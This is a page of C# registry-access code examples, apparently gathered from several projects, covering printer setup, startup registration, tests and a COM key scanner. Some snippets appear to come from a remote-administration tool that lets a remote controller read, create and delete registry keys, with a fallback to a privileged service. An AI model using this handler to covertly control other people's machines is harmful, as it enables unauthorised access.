Пример #1
0
        public override void Execute(object parameter)
        {
            var name = GetPrinterName();

            var device = SmartPrintDevice.Install(name, DefaultPrinterDescription);

            var printerId = RegistryExtensions.GetPrinterId(name);

            var printer = new Printer
            {
                Id          = printerId,
                Name        = name,
                Description = DefaultPrinterDescription
            };

            printer.OutputPath = RegistryExtensions.GetPrinterOutputPath(printerId);

            printer.StartMonitoring();

            var vm = new PrinterVM(printer);

            Shell.Printers.Add(vm);

            Shell.SelectedPrinter = vm;

            Shell.Repository.SavePrinter(printer);
        }
Пример #2
0
        private void MainWindow_OnClosing(object sender, CancelEventArgs e)
        {
            // Set registry value
            RegistryExtensions.RegisterInStartup("HrtzSysInfo", UserSettings.GlobalSettings.UiRunAtStartup);

            // Save global settings
            UserSettings.SaveSettings();
        }
Пример #3
0
        public void GetPrinterPathTest()
        {
            var id = RegistryExtensions.GetPrinterId("new printer");

            var path = RegistryExtensions.GetPrinterOutputPath(id);

            Assert.IsNotNull(path);

            Assert.AreNotEqual(String.Empty, path);
        }
Пример #4
0
        public void GetPrinterNameTest()
        {
            const string name = "new printer";

            var id = RegistryExtensions.GetPrinterId(name);

            var getName = RegistryExtensions.GetPrinterName(id);

            Assert.AreEqual(name, getName);
        }
Пример #5
0
 public bool DeleteSubKey(string path, RegistryHive registryHive)
 {
     try
     {
         using (var regKey = RegistryExtensions.OpenRegistry(registryHive))
             regKey.DeleteSubKeyTree(path);
         return(true);
     }
     catch (Exception)
     {
         return(false);
     }
 }
Пример #6
0
 public bool CreateSubKey(string path, RegistryHive registryHive)
 {
     try
     {
         RegistryExtensions.OpenRegistry(registryHive)
         .CreateSubKey(path, RegistryKeyPermissionCheck.Default);
         return(true);
     }
     catch (Exception)
     {
         return(false);
     }
 }
Пример #7
0
 public bool DeleteValue(string path, RegistryHive registryHive, string name)
 {
     try
     {
         using (var rootKey = RegistryExtensions.OpenRegistry(registryHive))
             using (var subKey = rootKey.OpenSubKey(path, true))
                 subKey.DeleteValue(name, true);
         return(true);
     }
     catch (Exception)
     {
         return(false);
     }
 }
Пример #8
0
 public bool CreateValue(string path, RegistryHive registryHive, RegistryValue registryValue)
 {
     try
     {
         using (var rootKey = RegistryExtensions.OpenRegistry(registryHive))
             using (var subKey = rootKey.OpenSubKey(path, true))
                 subKey.SetValue(registryValue.Key, registryValue.ValueObject);
         return(true);
     }
     catch (Exception)
     {
         return(false);
     }
 }
Пример #9
0
        private void AddRegistration(ContainerRegistration registration)
        {
            var service        = registration.ServiceType;
            var implementation = registration.ServiceInstance?.GetType() ?? registration.ServiceImplementation;

            RegistryExtensions.ConfirmService(service, implementation);

            if (!_registrations.TryGetValue(registration.ServiceType, out List <ContainerRegistration> storedTypes))
            {
                storedTypes = new List <ContainerRegistration>();
            }

            storedTypes.Add(registration);
            _registrations[registration.ServiceType] = storedTypes;
        }
Пример #10
0
        public List <Printer> LoadPrinters()
        {
            var printers = new List <Printer>();

            foreach (var xmlPrinter in PrintersElement.Elements())
            {
                var p = new Printer();
                p.Id          = new Guid(xmlPrinter.Read("PrinterId"));
                p.Name        = xmlPrinter.Read("Name");
                p.Description = xmlPrinter.Read("Description");
                p.OutputPath  = RegistryExtensions.GetPrinterOutputPath(RegistryExtensions.GetPrinterId(p.Name));

                printers.Add(p);
            }

            return(printers);
        }
Пример #11
0
        public List <RegistrySubKey> GetRegistrySubKeys(string path, RegistryHive registryHive)
        {
            try
            {
                using (
                    var regKey = RegistryExtensions.OpenRegistry(registryHive)
                                 .OpenSubKey(path, RegistryKeyPermissionCheck.ReadSubTree))
                {
                    var subKeys = new List <RegistrySubKey>();
                    foreach (var subKeyName in regKey.GetSubKeyNames())
                    {
                        var isEmpty = false;
                        try
                        {
                            using (var subKey = regKey.OpenSubKey(subKeyName, false))
                            {
                                isEmpty = subKey.GetSubKeyNames().Length == 0;
                            }
                        }
                        catch (Exception)
                        {
                        }

                        subKeys.Add(new RegistrySubKey
                        {
                            Name    = subKeyName,
                            IsEmpty = isEmpty
                        });
                    }
                    return(subKeys);
                }
            }
            catch (Exception)
            {
                return(null);
            }
        }
Пример #12
0
        public void GetPrinterIdTest()
        {
            var id = RegistryExtensions.GetPrinterId("new printer");

            Assert.AreNotEqual(id, Guid.Empty);
        }
Пример #13
0
        public static void Add()
        {
            var sumSQLProduct = Controller.sumSQLProduct;

            HashSet <string> foundCLSID   = new HashSet <string>();
            HashSet <string> foundTypeLib = new HashSet <string>();
            HashSet <string> foundProgID  = new HashSet <string>();

            string[] hives = new string[] { "HKEY_CLASSES_ROOT", "HKEY_CLASSES_ROOT\\Wow6432Node" };

            foreach (string hiveRoot in hives)
            {
                /*******************************************************************/

                /*
                 * HKEY_CLASSES_ROOT\CLSID
                 */
                /*******************************************************************/
                int    cnt = 0;
                subKey sbk = new subKey("InProcServer32", "");
                Controller.UpdateProgress(@"Scanning " + hiveRoot, true);

                //RegHive reghive = new RegHive(hiveRoot + @"\CLSID", sbk);
                RegHive reghive = Controller.regHives[hiveRoot + @"\CLSID"];


                Logger.LogMsg("reghive.propertyMap:" + reghive.propertyMap.Count);

                foreach (KeyValuePair <string, List <string> > kv in reghive.propertyMap)
                {
                    //Ignore those like:C:\Program Files\Common Files\Microsoft Shared\VS7Debug\pdm.dll
                    if (kv.Key.ToLower().Contains("microsoft shared"))
                    {
                        continue;
                    }
                    //   foreach (SQLProduct sql in sqlProducts)
                    {
                        try
                        {
                            if (sumSQLProduct.files_EXE_DLL.Contains(Path.GetFileName(kv.Key).ToLower()))
                            {
                                foreach (string path in kv.Value)
                                {
                                    if (!Controller.sqlRegKeys.ContainsKey(path))
                                    {
                                        cnt++;
                                        Controller.sqlRegKeys.Add(path, new Reason(SourceType.FromMSI_File, kv.Key));
                                    }

                                    //HKEY_CLASSES_ROOT\CLSID\{FE2D84B0-BBD5-4EC6-9A74-EE1C55148D78}\TypeLib
                                    string typeLibKey = path + "\\TypeLib";
                                    if (RegHelper.IsKeyExist(typeLibKey))
                                    {
                                        RegKey rk = new RegKey(typeLibKey, "");
                                        if (rk.Properties.ContainsKey("(Default)"))
                                        {
                                            if (!foundTypeLib.Contains(rk.Properties["(Default)"][1].ToString()))
                                            {
                                                foundTypeLib.Add(rk.Properties["(Default)"][1].ToString());
                                            }
                                        }
                                    }

                                    //HKEY_CLASSES_ROOT\CLSID\{02E7E69E-E80A-48E3-8B1D-6448C25B1710}\ProgID
                                    string progIDKey = path + "\\ProgID";
                                    if (RegHelper.IsKeyExist(progIDKey))
                                    {
                                        RegKey rk = new RegKey(progIDKey, "");
                                        if (rk.Properties.ContainsKey("(Default)"))
                                        {
                                            if (!foundProgID.Contains(rk.Properties["(Default)"][1].ToString()))
                                            {
                                                foundProgID.Add(rk.Properties["(Default)"][1].ToString());
                                            }
                                        }
                                    }

                                    int    idx   = path.IndexOf("CLSID\\") + 6;
                                    string CLSID = path.Substring(idx, 38);

                                    if (!foundCLSID.Contains(CLSID))
                                    {
                                        foundCLSID.Add(CLSID);
                                    }
                                }
                            }
                        }
                        catch (Exception ex)
                        {
                            Logger.LogError(ex.Message);
                        }
                    } //foreach SQL products
                }

                Controller.UpdateProgress(reghive.hivePath + " Add keys:" + cnt, true);

                /*******************************************************************/

                /*
                 * HKEY_CLASSES_ROOT\TypeLib
                 */
                /*******************************************************************/
                cnt = 0;
                Controller.UpdateProgress(@"Scanning " + hiveRoot, true);
                //reghive = new RegHive(hiveRoot + @"\TypeLib");
                reghive = Controller.regHives[hiveRoot + @"\TypeLib"];

                string[] winxx = new string[] { "win32", "win64" };
                foreach (RegKey rk in reghive.regKeys)
                {
                    foreach (string win in winxx)
                    {
                        string fullpath = RegHelper.FindSubKey(rk.Path, win, 4);
                        if (!string.IsNullOrEmpty(fullpath))
                        {
                            //we find one

                            RegKey subrk = new RegKey(fullpath, "");
                            if (subrk.Properties.ContainsKey("(Default)"))
                            {
                                try
                                {
                                    string file = subrk.Properties["(Default)"][1].ToLower();
                                    string name = Path.GetFileName(file);

                                    if (file.Contains("microsoft shared"))
                                    {
                                        continue;
                                    }
                                    if (sumSQLProduct.files_EXE_DLL.Contains(name))
                                    {
                                        if (!Controller.sqlRegKeys.ContainsKey(rk.Path))
                                        {
                                            Controller.sqlRegKeys.Add(rk.Path, new Reason(SourceType.FromMSI_File, file));
                                            cnt++;
                                        }
                                        if (!foundTypeLib.Contains(rk.leaf))
                                        {
                                            foundTypeLib.Add(rk.leaf);
                                        }
                                    }
                                }
                                catch (Exception ex) { }
                            }
                        } //if
                    }     //foreach winxx
                }         //foreach

                Controller.UpdateProgress(reghive.hivePath + " Add keys:" + cnt, true);

                //now check ProdID
                //HKEY_CLASSES_ROOT\DTS.ConnectionManagerOlap.5\CLSID

                //.this require .NET 45. so comment it
                //  RegistryKey hkcr = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64);

                var hkcr = RegistryExtensions.OpenBaseKey(RegistryHive.ClassesRoot, RegistryExtensions.RegistryHiveType.X64);

                string[] allnames = hkcr.GetSubKeyNames();
                cnt = 0;
                foreach (string s in allnames)
                {
                    string      sub    = hiveRoot + "\\" + s;
                    RegistryKey subkey = hkcr.OpenSubKey(s);

                    if (subkey == null)
                    {
                        continue;
                    }
                    string[] subnames = subkey.GetSubKeyNames();
                    if (subnames.Contains("CLSID") || subnames.Contains("Clsid"))
                    {
                        string result = RegHelper.GetValueForProperty(sub + "\\CLSID", "");
                        if (foundCLSID.Contains(result))
                        {
                            //we find one
                            if (!Controller.sqlRegKeys.ContainsKey(sub))
                            {
                                Controller.sqlRegKeys.Add(sub, new Reason(SourceType.COMClass, result, "CLSID:" + result));
                                cnt++;
                            }
                        }
                    }
                }

                Controller.UpdateProgress("HKEY_CLASSES_ROOT\\ProdID Add keys:" + cnt, true);

                //Add HKCR\ProdID
                cnt = 0;

                foreach (string s in foundProgID)
                {
                    string path = hiveRoot + "\\" + s;
                    if (Controller.sqlRegKeys.ContainsKey(path))
                    {
                        continue;
                    }
                    else
                    {
                        if (RegHelper.IsKeyExist(path))
                        {
                            cnt++; Controller.sqlRegKeys.Add(path, new Reason(SourceType.COMClass, s, "ProdID:" + s));
                        }
                    }
                }

                Controller.UpdateProgress("HKEY_CLASSES_ROOT\\ProdID (from foundProgID) Add keys:" + cnt, true);

                //for HKEY_CLASSES_ROOT\AppID I don't know how to add it here

                //
                /********************************************************/
                //HKEY_CLASSES_ROOT\Interface
                /********************************************************/
                //HKEY_CLASSES_ROOT\Interface\{33d00d41-c94f-5a61-9ab7-280dcefa0b08}\ProxyStubClsid32

                //below could have less hits...
                Controller.UpdateProgress(@"Scanning " + hiveRoot, true);
                //  reghive = new RegHive(hiveRoot + @"\Interface");

                reghive = Controller.regHives[hiveRoot + @"\Interface"];
                cnt     = 0;

                foreach (string sub in reghive.subKeys)
                {
                    try
                    {
                        string path = hiveRoot + "\\Interface\\" + sub;
                        if (!RegHelper.IsKeyExist(path + "\\ProxyStubClsid32"))
                        {
                            continue;
                        }
                        RegKey rk = new RegKey(path + "\\ProxyStubClsid32", "");
                        if (rk.Properties.ContainsKey("(Default)"))
                        {
                            string clsid = rk.Properties["(Default)"][1];
                            if (foundCLSID.Contains(clsid))
                            {
                                if (!Controller.sqlRegKeys.ContainsKey(path))
                                {
                                    cnt++;
                                    Controller.sqlRegKeys.Add(path, new Reason(SourceType.COMClass, clsid, "CLSID:" + clsid));
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        Logger.LogError(ex.Message);
                    }
                }

                Controller.UpdateProgress(reghive.hivePath + " Add keys:" + cnt, true);
            }// for hiveRoot
        }
Пример #14
0
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            try
            {
                string       path;
                RegistryHive root;
                Serializer   serializer;

                switch ((RegistryCommunication)parameter[0])
                {
                case RegistryCommunication.GetRegistrySubKeys:
                    root = (RegistryHive)BitConverter.ToInt32(parameter, 1);

                    path = Encoding.UTF8.GetString(parameter, 5, parameter.Length - 5);
                    List <RegistrySubKey> subKeys;

                    try
                    {
                        using (
                            var regKey = RegistryExtensions.OpenRegistry(root)
                                         .OpenSubKey(path, RegistryKeyPermissionCheck.ReadSubTree))
                        {
                            subKeys = new List <RegistrySubKey>();
                            foreach (var subKeyName in regKey.GetSubKeyNames())
                            {
                                bool isEmpty = false;
                                try
                                {
                                    using (var subKey = regKey.OpenSubKey(subKeyName, false))
                                    {
                                        isEmpty = subKey.GetSubKeyNames().Length == 0;
                                    }
                                }
                                catch (Exception)
                                {
                                    // ignored
                                }

                                subKeys.Add(new RegistrySubKey
                                {
                                    Name    = subKeyName,
                                    IsEmpty = isEmpty
                                });
                            }
                        }
                    }
                    catch (Exception)
                    {
                        if (!ServiceConnection.Current.IsConnected || root == RegistryHive.CurrentUser)
                        {
                            throw;
                        }
                        subKeys = ServiceConnection.Current.Pipe.GetRegistrySubKeys(path, root);
                        if (subKeys == null)
                        {
                            throw;
                        }
                    }

                    serializer = new Serializer(typeof(RegistrySubKeysPackage));
                    using (
                        var ms = new MemoryStream())
                    {
                        ms.WriteByte((byte)RegistryCommunication.ResponseRegistrySubKeys);
                        serializer.Serialize(ms,
                                             new RegistrySubKeysPackage
                        {
                            Path            = path,
                            RegistrySubKeys = subKeys,
                            RegistryHive    = root
                        });
                        connectionInfo.CommandResponse(this, ms.ToArray());
                    }

                    break;

                case RegistryCommunication.DeleteSubKey:
                    root = (RegistryHive)BitConverter.ToInt32(parameter, 1);
                    path = Encoding.UTF8.GetString(parameter, 5, parameter.Length - 5);

                    try
                    {
                        using (var regKey = RegistryExtensions.OpenRegistry(root))
                            regKey.DeleteSubKeyTree(path);
                    }
                    catch (Exception)
                    {
                        if (!ServiceConnection.Current.IsConnected || root == RegistryHive.CurrentUser)
                        {
                            throw;
                        }
                        if (!ServiceConnection.Current.Pipe.DeleteSubKey(path, root))
                        {
                            throw;
                        }
                    }

                    serializer = new Serializer(typeof(RegistrySubKeyAction));
                    ResponseBytes((byte)RegistryCommunication.ResponseSubKeyDeleted,
                                  serializer.Serialize(new RegistrySubKeyAction {
                        Path = path, RegistryHive = root
                    }),
                                  connectionInfo);
                    break;

                case RegistryCommunication.GetRegistryValues:
                    root = (RegistryHive)BitConverter.ToInt32(parameter, 1);
                    path = Encoding.UTF8.GetString(parameter, 5, parameter.Length - 5);
                    List <RegistryValue> valueList;

                    try
                    {
                        using (
                            var regKey = RegistryExtensions.OpenRegistry(root).OpenSubKey(path, false)
                            )
                        {
                            valueList = new List <RegistryValue>();
                            foreach (var valueName in regKey.GetValueNames())
                            {
                                var kind = regKey.GetValueKind(valueName);
                                switch (kind)
                                {
                                case RegistryValueKind.String:
                                    valueList.Add(new RegistryValueString
                                    {
                                        Key   = valueName,
                                        Value = (string)regKey.GetValue(valueName, string.Empty)
                                    });
                                    break;

                                case RegistryValueKind.ExpandString:
                                    valueList.Add(new RegistryValueExpandString
                                    {
                                        Key   = valueName,
                                        Value = (string)regKey.GetValue(valueName, string.Empty)
                                    });
                                    break;

                                case RegistryValueKind.Binary:
                                    valueList.Add(new RegistryValueBinary
                                    {
                                        Key   = valueName,
                                        Value = (byte[])regKey.GetValue(valueName, new byte[] {})
                                    });
                                    break;

                                case RegistryValueKind.DWord:
                                    valueList.Add(new RegistryValueDWord
                                    {
                                        Key   = valueName,
                                        Value = (uint)(int)regKey.GetValue(valueName, 0)
                                    });
                                    break;

                                case RegistryValueKind.MultiString:
                                    valueList.Add(new RegistryValueMultiString
                                    {
                                        Key   = valueName,
                                        Value = (string[])regKey.GetValue(valueName, new string[] {})
                                    });
                                    break;

                                case RegistryValueKind.QWord:
                                    valueList.Add(new RegistryValueQWord
                                    {
                                        Key   = valueName,
                                        Value = (ulong)(long)regKey.GetValue(valueName, 0)
                                    });
                                    break;

                                default:
                                    valueList.Add(new RegistryValueUnknown
                                    {
                                        Key = valueName
                                    });
                                    break;
                                }
                            }
                        }
                    }
                    catch (Exception)
                    {
                        if (!ServiceConnection.Current.IsConnected || root == RegistryHive.CurrentUser)
                        {
                            throw;
                        }
                        valueList = ServiceConnection.Current.Pipe.GetRegistryValues(path, root);
                        if (valueList == null)
                        {
                            throw;
                        }
                    }

                    serializer = new Serializer(new List <Type>(RegistryValue.RegistryValueTypes)
                    {
                        typeof(RegistryValuesPackage)
                    });

                    ResponseBytes((byte)RegistryCommunication.ResponseRegistryValues,
                                  serializer.Serialize(new RegistryValuesPackage
                    {
                        Path         = path,
                        RegistryHive = root,
                        Values       = valueList
                    }), connectionInfo);

                    break;

                case RegistryCommunication.CreateSubKey:
                    root = (RegistryHive)BitConverter.ToInt32(parameter, 1);
                    path = Encoding.UTF8.GetString(parameter, 5, parameter.Length - 5);

                    try
                    {
                        RegistryExtensions.OpenRegistry(root)
                        .CreateSubKey(path, RegistryKeyPermissionCheck.Default);
                    }
                    catch (Exception)
                    {
                        if (!ServiceConnection.Current.IsConnected || root == RegistryHive.CurrentUser)
                        {
                            throw;
                        }
                        if (!ServiceConnection.Current.Pipe.CreateSubKey(path, root))
                        {
                            throw;
                        }
                    }

                    serializer = new Serializer(typeof(RegistrySubKeyAction));
                    ResponseBytes((byte)RegistryCommunication.ResponseSubKeyCreated,
                                  serializer.Serialize(new RegistrySubKeyAction {
                        Path = path, RegistryHive = root
                    }),
                                  connectionInfo);
                    break;

                case RegistryCommunication.CreateValue:
                    serializer = new Serializer(new List <Type>(RegistryValue.RegistryValueTypes)
                    {
                        typeof(RegistryCreateValuePackage)
                    });
                    var package = serializer.Deserialize <RegistryCreateValuePackage>(parameter, 1);

                    try
                    {
                        using (var rootKey = RegistryExtensions.OpenRegistry(package.RegistryHive))
                            using (var subKey = rootKey.OpenSubKey(package.Path, true))
                                subKey.SetValue(package.RegistryValue.Key, package.RegistryValue.ValueObject,
                                                ConvertFromOrcusValueKind(package.RegistryValue.ValueKind));
                    }
                    catch (Exception)
                    {
                        if (!ServiceConnection.Current.IsConnected ||
                            package.RegistryHive == RegistryHive.CurrentUser)
                        {
                            throw;
                        }
                        if (
                            !ServiceConnection.Current.Pipe.CreateValue(package.Path, package.RegistryHive,
                                                                        package.RegistryValue))
                        {
                            throw;
                        }
                    }

                    ResponseByte((byte)RegistryCommunication.ResponseValueCreated, connectionInfo);
                    break;

                case RegistryCommunication.DeleteValue:
                    root = (RegistryHive)BitConverter.ToInt32(parameter, 1);
                    var pathLength = BitConverter.ToInt32(parameter, 5);
                    path = Encoding.UTF8.GetString(parameter, 9, pathLength);
                    var name = Encoding.UTF8.GetString(parameter, 9 + path.Length,
                                                       parameter.Length - (9 + path.Length));

                    try
                    {
                        using (var rootKey = RegistryExtensions.OpenRegistry(root))
                            using (var subKey = rootKey.OpenSubKey(path, true))
                                subKey.DeleteValue(name, true);
                    }
                    catch (Exception)
                    {
                        if (!ServiceConnection.Current.IsConnected || root == RegistryHive.CurrentUser)
                        {
                            throw;
                        }
                        if (!ServiceConnection.Current.Pipe.DeleteValue(path, root, name))
                        {
                            throw;
                        }
                    }

                    ResponseByte((byte)RegistryCommunication.ResponseValueDeleted, connectionInfo);
                    break;

                default:
                    throw new ArgumentOutOfRangeException();
                }
            }
            catch (Exception ex)
            {
                if (ex is SecurityException || ex is UnauthorizedAccessException)
                {
                    SendPermissionDenied(ex.Message, connectionInfo);
                }
                else
                {
                    SendError(ex.Message, connectionInfo);
                }
            }
        }
Пример #15
0
        private static void RegisterSimple(IContainer register, Type service, Type implementation, bool withResolvedArguments, IReuse reuse = null, string key = null)
        {
            RegistryExtensions.ConfirmService(service, implementation);

            register.Register(service, implementation, reuse: reuse, made: withResolvedArguments ? null : GetConstructorFor(register, implementation), serviceKey: key);
        }
Пример #16
0
        public List <RegistryValue> GetRegistryValues(string path, RegistryHive registryHive)
        {
            try
            {
                using (var regKey = RegistryExtensions.OpenRegistry(registryHive).OpenSubKey(path, false))
                {
                    var valueList = new List <RegistryValue>();
                    foreach (var valueName in regKey.GetValueNames())
                    {
                        var kind = regKey.GetValueKind(valueName);
                        switch (kind)
                        {
                        case RegistryValueKind.String:
                            valueList.Add(new RegistryValueString
                            {
                                Key   = valueName,
                                Value = (string)regKey.GetValue(valueName, string.Empty)
                            });
                            break;

                        case RegistryValueKind.ExpandString:
                            valueList.Add(new RegistryValueExpandString
                            {
                                Key   = valueName,
                                Value = (string)regKey.GetValue(valueName, string.Empty)
                            });
                            break;

                        case RegistryValueKind.Binary:
                            valueList.Add(new RegistryValueBinary
                            {
                                Key   = valueName,
                                Value = (byte[])regKey.GetValue(valueName, new byte[] {})
                            });
                            break;

                        case RegistryValueKind.DWord:
                            valueList.Add(new RegistryValueDWord
                            {
                                Key   = valueName,
                                Value = (uint)(int)regKey.GetValue(valueName, 0)
                            });
                            break;

                        case RegistryValueKind.MultiString:
                            valueList.Add(new RegistryValueMultiString
                            {
                                Key   = valueName,
                                Value = (string[])regKey.GetValue(valueName, new string[] {})
                            });
                            break;

                        case RegistryValueKind.QWord:
                            valueList.Add(new RegistryValueQWord
                            {
                                Key   = valueName,
                                Value = (ulong)(long)regKey.GetValue(valueName, 0)
                            });
                            break;

                        default:
                            valueList.Add(new RegistryValueUnknown
                            {
                                Key = valueName
                            });
                            break;
                        }
                    }
                    return(valueList);
                }
            }
            catch (Exception)
            {
                return(null);
            }
        }